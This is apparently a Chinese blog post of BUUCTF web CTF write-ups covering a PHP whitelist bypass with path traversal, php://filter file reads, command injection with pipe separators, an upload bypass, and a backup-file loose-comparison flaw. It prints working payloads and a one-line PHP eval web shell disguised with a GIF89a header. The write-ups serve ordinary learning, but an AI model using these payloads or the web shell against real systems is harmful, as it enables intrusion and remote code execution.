前言:今天感觉自己确实有点菜,想提高一下,就斗胆来buuctf论剑,哈哈哈!

[HCTF 2018]WarmUp

是关于php代码审计方面的

打开网站额,一个滑稽笑脸,别的啥都没有

看一下源码, 

提示source.php

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];    一个白名单if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {           说明不在白名单里面return true;}$_page = mb_substr(      $page,0,mb_strpos($page . '?', '?')       这个.就是链接上问好,然后输出问好前面的字符);if (in_array($_page, $whitelist)) {       不能输出,说明还是不在return true;}$_page = urldecode($page);              url解码$_page = mb_substr(                   $_page,0,mb_strpos($_page . '?', '?')      解码以后说明里面会有一个问号,加上链接就有俩但是取前面第一个的位置比如 hint.php?fdffdf?);if (in_array($_page, $whitelist)) {      要在白名单里面绕过checkfile函数return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?>

看见代码中还有hint.php那也看一下吧,

告诉了我们flag的位置 ,接着开始代码审核,记住从?url输入参数浏览器自带一次url解码

1.$_request['file']不为空

2.$_request['file']是字符串

3.上面定义的checkfile方法返回值为真

所以此时对于正常的file值,会截取其本身长度,不会产生影响。
但是这个时候如果我们在file内容中加入?,就能实现截断的效果,这个时候page将会验证?前方的str是否包含在array中,因此就能实现checkFile函数的绕过。

这个时候一定能过checkFile函数。
但是我们的include文件读取函数却是直接将file进行了读取,这个时候file的内容是无效的,因此什么东西也读不出来。
我们通过hint.php可以知道,flag隐藏在ffffllllaaaagggg中。
所以现在我们的目标是通过拼接的方式构造出读取flag的绕过姿势。
url里面我们比较常见的是#绕过,即#后面的内容不会被读取执行。
但是我们究竟该怎么样让前面的hint.php%253f不被放到include中影响我们flag的正常读取呢?
我们知道如果直接放入hint.php%253ffffllllaaaaggg会通过checkFile的验证返回true,但是毫无疑问这种错误的文件名是无法被include正确读取的。
这个时候我们就要用到一个关键符号:/
例如:include ‘wrongname/flag.txt’
wrongname无法被正确读取,这个时候/后面的flag.txt就会被include函数读取并解析。
因此我们可以构建payload:

http://8a6aa662-6e27-420f-8d5e-9679bcae7a50.node3.buuoj.cn/source.php?file=hint.php%253f/ffffllllaaaagggg

但是还是无法正确读取,为什么呢?
我们其实已经可以从flag的文件名猜出一些真相了。
我们需要将目录回退四次,就像这美妙的名字一样。
因此构建新的payload:

http://8a6aa662-6e27-420f-8d5e-9679bcae7a50.node3.buuoj.cn/source.php?file=hint.php%253f/../../../../ffffllllaaaagggg

?需要进行二次url编码,第一次是%3F  第二次%253f

[ACTF2020 新生赛]Include

这道题的核心就是文件包含include,

所以我就想到先用为协议读取

果然不出所料,url上面显眼的‘file=’就是我们想要的文件包含漏洞

以开始以为flag在其他漏洞,我先用file=php//input,再Post传参

但是当url后面接上file=php://input时,就直接给我返回了hacker页面,看来服务器是对input过滤了

那就用,filter读取协议

file=php://filter/resource=flag.php,读取,发现页面没变化,然后试一下编码

file=php://filter/read=convert.base64-encode/resource=flag.php

果然出来了

[ACTF2020 新生赛]Exec

打开界面一看感觉考察管道符之类的,命令注入题

知识点
1、命令注入我们要防备其对于一些符号的过滤导致我们不能成功注入,所以我们要多了解一些符号。
2、;直接分号分隔
管道符:作用和&一样。前面和后面命令都要执行,无论前面真假
3、| 按位或
作用是直接执行|后面的语句
4、|| 逻辑或
作用是如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
5、& 按位与
&前面和后面命令都要执行,无论前面真假
6、&& 逻辑与
如果前面为假,后面的命令就不执行,如果前面为真则再执行后面命令,这样两条命令都会被执行

之后就 127.0.0.1|ls  发现出现index.php

然后查看上一层目录   127.0.0.1|ls ../../../ 看到了flag

127.0.0.1|cat ../../../flag 获得flag

  • 解题快手榜

[ACTF2020 新生赛]Upload

一道文件上传的题目,然后上传php,发现进行了前端限制只能上传jpg,png图片类型

所以我们先上传一个图片码,然后抓包该后缀就可以了

获取flag

拓展:.phtml文件好像可以上传,但是对文件内容做了校验,不允许出现<?,尝试更换一句话木马      不允许出现<?就需要一个标签来构造一句话木马

GIF89a//在文件前加上GIF89a来绕过PHP getimagesize的检查,来绕过文件内容头校验
<script language="php">eval($_POST['shell']);</script>//一句话木马

看见了先记下,以后会用到!!!

[ACTF2020 新生赛]BackupFile

题目告诉我们说要找文件

用dirsearch试了一下,发现要好久,然后自己琢磨了试了一下各种备份文件结果试出来了

direarch -u 网址 -e*

打开

查看源码,抓包看,结果还是任何信息都没有,就需要用到扫目录的工具了

感觉是有备份文件存在,果不其然扫到了 index.php.bak,然后下载

<?php
include_once "flag.php";if(isset($_GET['key'])) {$key = $_GET['key'];if(!is_numeric($key)) {exit("Just num!");}$key = intval($key);$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";if($key == $str) {echo $flag;}
}
else {echo "Try to find out source file!";
}

终于看见了源码,然后就代码审核,这还是比较简单的,弱比较搞定,?key=123得到flag

知识点

这里时一个查找备份文件的知识点,备份文件后缀有
.rar
.zip
.7z
.tar.gz
.bak
.swp
.txt
.html

继续加油

buuctf航海经历([ACTF2020 新生赛])相关推荐

  1. BUUCTF Web [ACTF2020 新生赛]Exec

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  2. BUUCTF Web [ACTF2020 新生赛]Include

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  3. [极客大挑战 2019]Havefun[ACTF2020 新生赛]Include

    [极客大挑战 2019]Havefun 打开题目,看到一个确实 Havefun 的页面,于是直接 F12 查看源代码. 根据所给出的 PHP 代码在当前页面 URL 尝试传入参数,最终竟直接得出 fl ...

  4. BUUCTF——[ACTF2020 新生赛]Include

    文章目录 解题过程 完 解题过程 该题属于文件包含,观察URL http://3c9dff4a-d3a3-42ef-be4f-0a1e5b57d980.node3.buuoj.cn/?file=fla ...

  5. [ACTF2020 新生赛]Upload

    目录 思路 总结 思路 先上传一个包含shell的jpg文件 上传成功,说明不对文件内容进行过滤 用bp抓包把后缀改成php,被拦截,说明对文件后缀有检测 接来下把文件后缀名改成任意字符,上传成功,说 ...

  6. [ACTF2020 新生赛]Include

    不截图了,进入靶机只有一个tips等着被点.跳转以后看url中参数 ?file=flag.php 页面内容只有 Can you find out the flag? 立马想到使用php伪协议读文件内容 ...

  7. [ACTF2020 新生赛]Exec1命令注入

    1.来看题目如下 得到一个ping的输入框,老样子先检查网页源码看有没有什么好东西,得到一个链接,我们来访问一下 发现也没什么有用处的信息,于是看到题目的标题之后联想到了命令注入, 那么是怎么判断使用 ...

  8. ACTF2020新生赛-upload1

    题目: 上传一个phpw文件的一句话木马查看 弹出提示框,只能上传jpg,png和gif的图片,说明有前端js绕过,可以尝试关闭js,也可以修改图片后缀名 修改文件后缀名后,上传成功,并返回了上传文件 ...

  9. BUU[ACTF2020 新生赛]BackupFile

    backup文件也叫系统备份文件,它的做作用是:拷贝到存储介质上的文件,可以帮助保护数据,以防其在系统硬件或存储介质出现故障时受到破坏. 那么搜索一下备份文件后缀名,如果网站存在备份文件,常见的备份文 ...

最新文章

  1. mysql中sql语句
  2. tensorflow knn 预测房价 注意有 Min-Max Scaling
  3. Windows CE(C#)嵌入式应用开发pdf
  4. js不用reverse反转数组代码_JavaScript 数组排序
  5. 关于ShowModalDialog数据缓存的清除
  6. 【EMC】电压暂降、短时中断和电压变化
  7. 树莓派 Docker部署甜糖星愿
  8. 2022高处安装、维护、拆除考试练习题及答案
  9. 不要只关注马斯克猎鹰,中国SpaceX在哪?商业航天我们不能缺席!
  10. [已解决]ubuntu下谷歌浏览器无法上网
  11. AIX 5300-06-01 + Oracle 9.2.0.6 = ORA-27061
  12. linux 添加开机启动项的三种方法。
  13. SOLIDWORKS如何建立基准面
  14. 51单片机制作脉冲发生器
  15. HTML女朋友生日祝福、老婆生日快乐源代码,可定制照片+音乐+表白话
  16. 《Discriminative Unsupervised Feature Learning with Exemplar Convolutional Neural Networks》阅读笔记
  17. 探讨Vue 数据监测原理-第五节-展开介绍 Vue中监测-【数组】数据的原理
  18. Unity3D-iOS创建本地视频
  19. 组合总和(剪枝算法)
  20. python+django电子招标投标管理系统pycharm项目

热门文章

  1. 为什么互联网公司需要测试人员
  2. 仅用Excel就可玩转逻辑回归?!
  3. 【C#学习笔记】C#清除缓存、清除IE临时文件缓存cookies的方法
  4. Python常用小技巧,提高刷题效率(适用于蓝桥杯python组)
  5. 扎克伯格和他背后的“战士”们
  6. 酒店的网络营销推广策略
  7. Linux- 内核引导过程
  8. Android安卓开发基础-TextView
  9. 做自媒体视频博主,必备的32个素材网站分享
  10. iPhone 12 无法横屏显示怎么办